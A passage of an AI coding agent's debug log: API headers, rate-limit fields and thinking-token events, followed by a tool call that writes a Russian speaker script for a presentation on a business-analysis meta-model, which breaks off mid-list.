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\"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:52:05.406Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:52:05.415Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:52:05.427Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:52:05.449Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:52:05.455Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:52:05.472Z] [STDOUT]     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\"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:52:05.527Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:52:05.530Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:52:05.545Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:52:05.550Z] [STDOUT]   },\n[2026-09-29T07:52:05.556Z] [STDOUT] }\n[2026-09-29T07:52:06.136Z] [STDOUT] [log_c5508c, request-id: \"req_011CfXNGHKsPJjFoWDY7NsVp\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 829ms\n[2026-09-29T07:52:06.140Z] [STDOUT] [log_c5508c] response start {\n[2026-09-29T07:52:06.143Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:52:06.145Z] [STDOUT]   status: 200,\n[2026-09-29T07:52:06.148Z] [STDOUT]   headers: {\n[2026-09-29T07:52:06.156Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:52:06.160Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:52:06.162Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:52:06.164Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:52:06.166Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:52:06.170Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:52:06.173Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:52:06.177Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:52:06.180Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:52:06.185Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:52:06.189Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:52:06.191Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:52:06.193Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:52:06.195Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:52:06.198Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:52:06.201Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:52:06.203Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:52:06.205Z] [STDOUT]     \"cf-ray\": \"a42968093ab301ff-CDG\",\n[2026-09-29T07:52:06.207Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:52:06.209Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:52:06.215Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:52:06.240Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:52:06.251Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:52:06 GMT\",\n[2026-09-29T07:52:06.258Z] [STDOUT]     \"request-id\": \"req_011CfXNGHKsPJjFoWDY7NsVp\",\n[2026-09-29T07:52:06.265Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:52:06.269Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:52:06.285Z] [STDOUT]     traceresponse: \"00-e446fedb00840139c51c4e7cc87736f0-a91f982a9a2dbed4-01\",\n[2026-09-29T07:52:06.295Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:52:06.311Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:52:06.324Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:52:06.329Z] [STDOUT]   },\n[2026-09-29T07:52:06.341Z] [STDOUT]   durationMs: 829,\n[2026-09-29T07:52:06.361Z] [STDOUT] }\n[2026-09-29T07:52:06.365Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:52:06.367Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:52:06 GMT\",\n[2026-09-29T07:52:06.375Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:52:06.378Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:52:06.384Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:52:06.387Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:52:06.393Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:52:06.396Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:52:06.399Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:52:06.401Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:52:06.404Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:52:06.414Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:52:06.417Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:52:06.425Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:52:06.431Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:52:06.437Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:52:06.440Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:52:06.446Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:52:06.449Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:52:06.453Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:52:06.456Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:52:06.461Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:52:06.465Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:52:06.467Z] [STDOUT]   \"request-id\": \"req_011CfXNGHKsPJjFoWDY7NsVp\",\n[2026-09-29T07:52:06.471Z] [STDOUT]   \"traceresponse\": \"00-e446fedb00840139c51c4e7cc87736f0-a91f982a9a2dbed4-01\",\n[2026-09-29T07:52:06.475Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:52:06.480Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:52:06.482Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:52:06.485Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:52:06.489Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:52:06.500Z] [STDOUT]   \"cf-ray\": \"a42968093ab301ff-CDG\",\n[2026-09-29T07:52:06.512Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:52:06.518Z] [STDOUT] [log_c5508c] response parsed {\n[2026-09-29T07:52:06.521Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:52:06.525Z] [STDOUT]   status: 200,\n[2026-09-29T07:52:06.529Z] [STDOUT]   body: X {\n[2026-09-29T07:52:06.532Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:52:06.538Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:52:06.543Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:52:06.548Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:52:06.551Z] [STDOUT]     },\n[2026-09-29T07:52:06.555Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:52:06.557Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:52:06.560Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:52:06.563Z] [STDOUT]   },\n[2026-09-29T07:52:06.568Z] [STDOUT]   durationMs: 830,\n[2026-09-29T07:52:06.580Z] [STDOUT] }\n[2026-09-29T07:52:06.747Z] [INFO] {\n[2026-09-29T07:52:06.747Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:06.747Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:52:06.747Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:52:06.747Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:52:06.747Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:52:06.747Z] [INFO]   \"uuid\": \"c9d29eb4-8552-408e-84c1-a7d477320229\"\n[2026-09-29T07:52:06.747Z] [INFO] }\n[2026-09-29T07:52:07.886Z] [INFO] {\n[2026-09-29T07:52:07.886Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:07.886Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:52:07.886Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:52:07.886Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:52:07.886Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:52:07.886Z] [INFO]   \"uuid\": \"b966d826-ee12-43ec-a84e-43e3d8194d46\"\n[2026-09-29T07:52:07.886Z] [INFO] }\n[2026-09-29T07:52:09.088Z] [INFO] {\n[2026-09-29T07:52:09.088Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:09.088Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:52:09.088Z] [INFO]   \"estimated_tokens\": 250,\n[2026-09-29T07:52:09.088Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:52:09.088Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:52:09.088Z] [INFO]   \"uuid\": \"7144deca-8406-40c8-ada2-3d0f11a84781\"\n[2026-09-29T07:52:09.088Z] [INFO] }\n[2026-09-29T07:52:10.162Z] [INFO] {\n[2026-09-29T07:52:10.162Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:10.162Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:52:10.162Z] [INFO]   \"estimated_tokens\": 350,\n[2026-09-29T07:52:10.162Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:52:10.162Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:52:10.162Z] [INFO]   \"uuid\": \"a2ea6146-2caa-43d8-9ed9-04ffd7ef8c05\"\n[2026-09-29T07:52:10.162Z] [INFO] }\n[2026-09-29T07:52:11.894Z] [INFO] {\n[2026-09-29T07:52:11.894Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:11.894Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:52:11.894Z] [INFO]   \"estimated_tokens\": 450,\n[2026-09-29T07:52:11.894Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:52:11.894Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:52:11.894Z] [INFO]   \"uuid\": \"79712675-9397-41f7-99d1-5d7c80e5e595\"\n[2026-09-29T07:52:11.894Z] [INFO] }\n[2026-09-29T07:52:13.088Z] [INFO] {\n[2026-09-29T07:52:13.088Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:13.088Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:52:13.088Z] [INFO]   \"estimated_tokens\": 600,\n[2026-09-29T07:52:13.088Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:52:13.088Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:52:13.088Z] [INFO]   \"uuid\": \"163e4f39-88b7-4740-8fb1-b76587b33374\"\n[2026-09-29T07:52:13.088Z] [INFO] }\n[2026-09-29T07:52:14.136Z] [INFO] {\n[2026-09-29T07:52:14.136Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:14.136Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:52:14.136Z] [INFO]   \"estimated_tokens\": 700,\n[2026-09-29T07:52:14.136Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:52:14.136Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:52:14.136Z] [INFO]   \"uuid\": \"eb9ee857-450b-4541-ad91-57557a604f32\"\n[2026-09-29T07:52:14.136Z] [INFO] }\n[2026-09-29T07:52:15.286Z] [INFO] {\n[2026-09-29T07:52:15.286Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:15.286Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:52:15.286Z] [INFO]   \"estimated_tokens\": 800,\n[2026-09-29T07:52:15.286Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:52:15.286Z] [INFO]   \"session_id\": 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[REDACTED],\n[2026-09-29T07:52:17.688Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:52:17.688Z] [INFO]   \"uuid\": \"390d82af-0d1b-4cb8-9f41-329c7c607f17\"\n[2026-09-29T07:52:17.688Z] [INFO] }\n[2026-09-29T07:52:18.891Z] [INFO] {\n[2026-09-29T07:52:18.891Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:18.891Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:52:18.891Z] [INFO]   \"estimated_tokens\": 1100,\n[2026-09-29T07:52:18.891Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:52:18.891Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:52:18.891Z] [INFO]   \"uuid\": \"34de0234-602b-4a7c-8bbf-41d6f4390c09\"\n[2026-09-29T07:52:18.891Z] [INFO] }\n[2026-09-29T07:52:20.090Z] [INFO] {\n[2026-09-29T07:52:20.090Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:52:20.090Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:52:20.090Z] [INFO]   \"estimated_tokens\": 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Now writing the speaker script (Doc 2), synced to the same slide numbers, with a Q&A bank for the technical leader.\"\n[2026-09-29T07:52:20.962Z] [INFO]       }\n[2026-09-29T07:52:20.962Z] [INFO]     ],\n[2026-09-29T07:52:20.962Z] [INFO]     \"container\": null,\n[2026-09-29T07:52:20.962Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:52:20.962Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:52:20.962Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:52:20.962Z] [INFO]     \"usage\": {\n[2026-09-29T07:52:20.962Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:52:20.962Z] [INFO]       \"cache_creation_input_tokens\": 632,\n[2026-09-29T07:52:20.962Z] [INFO]       \"cache_read_input_tokens\": 107118,\n[2026-09-29T07:52:20.962Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:52:20.962Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:52:20.962Z] [INFO]         \"ephemeral_1h_input_tokens\": 632\n[2026-09-29T07:52:20.962Z] [INFO]       },\n[2026-09-29T07:52:20.962Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:52:20.962Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:52:20.962Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:52:20.962Z] [INFO]     },\n[2026-09-29T07:52:20.962Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:52:20.962Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:52:20.962Z] [INFO]     \"context_management\": null\n[2026-09-29T07:52:20.962Z] [INFO]   },\n[2026-09-29T07:52:20.962Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:52:20.962Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:52:20.962Z] [INFO]   \"uuid\": \"4bf6eace-cf88-4b2a-9aa9-eef40ea861d7\",\n[2026-09-29T07:52:20.962Z] [INFO]   \"timestamp\": \"2026-09-29T07:52:20.944Z\",\n[2026-09-29T07:52:20.962Z] [INFO]   \"request_id\": \"req_011CfXNGHKsPJjFoWDY7NsVp\"\n[2026-09-29T07:52:20.962Z] [INFO] }\n[2026-09-29T07:53:48.040Z] [INFO] {\n[2026-09-29T07:53:48.040Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:53:48.040Z] [INFO]   \"message\": {\n[2026-09-29T07:53:48.040Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:53:48.040Z] [INFO]     \"id\": \"msg_011CfXNGHkfmbChb2pFLoi1e\",\n[2026-09-29T07:53:48.040Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:53:48.040Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:53:48.040Z] [INFO]     \"content\": [\n[2026-09-29T07:53:48.040Z] [INFO]       {\n[2026-09-29T07:53:48.040Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:53:48.040Z] [INFO]         \"id\": \"toolu_01GbDhvGR6SDE8EyvtinseYU\",\n[2026-09-29T07:53:48.040Z] [INFO]         \"name\": \"Write\",\n[2026-09-29T07:53:48.040Z] [INFO]         \"input\": {\n[2026-09-29T07:53:48.040Z] [INFO]           \"file_path\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:53:48.040Z] [INFO]           \"content\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.3\\ntype: presentation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430\\n\\n\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043a\\n[\u0441\u043b\u0430\u0439\u0434\u0430\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0441\u043b\u0430\u0439\u0434\u043e\u0432. \u0422\u0435\u043a\u0441\u0442 \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439: \u0435\u0433\u043e\\n\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442.\\n\\n## \u0420\u0430\u043c\u043a\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f\\n\\n- **\u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f:** \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango. \u0415\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n  \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 LLM, \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 RAG. \u0415\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0435\u043c \u043f\u043e\u0434\u0445\u043e\u0434\\n  \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u00bb \u0438 \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- **\u0425\u0440\u043e\u043d\u043e\u043c\u0435\u0442\u0440\u0430\u0436:** \u043e\u043a\u043e\u043b\u043e 20 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0438 10\u201315 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n  \u041e\u0440\u0438\u0435\u043d\u0442\u0438\u0440 \u043f\u043e \u0441\u043b\u0430\u0439\u0434\u0430\u043c \u2014 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435.\\n- **\u041e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043d\u0435\u0441\u0442\u0438 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c:** \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439\\n  \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n  \u0438 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438.\\n- **\u0422\u043e\u043d:** \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439. \u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c. \u0422\u0430\u043c, \u0433\u0434\u0435\\n  \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b, \u043e \u043d\u0451\u043c \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c: \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0430\u0439\u0434\u0451\u0442 \u0435\u0433\u043e\\n  \u0441\u0430\u043c, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u0430\u043c.\\n\\n### \u0427\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c\\n\\n- \u0427\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d end-to-end. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u2014\\n  \u043e\u0442 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043e Release. \u0428\u0430\u0433\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b.\\n- \u0427\u0442\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts` \u2014 \u0431\u0435\u043d\u0447\u043c\u0430\u0440\u043a. \u041e\u043d\u0438\\n  \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u0445. \u0420\u0430\u0437\u0431\u043e\u0440 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0430 \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443.\\n- \u0427\u0442\u043e \u0421\u0440\u0435\u0434\u0430 4 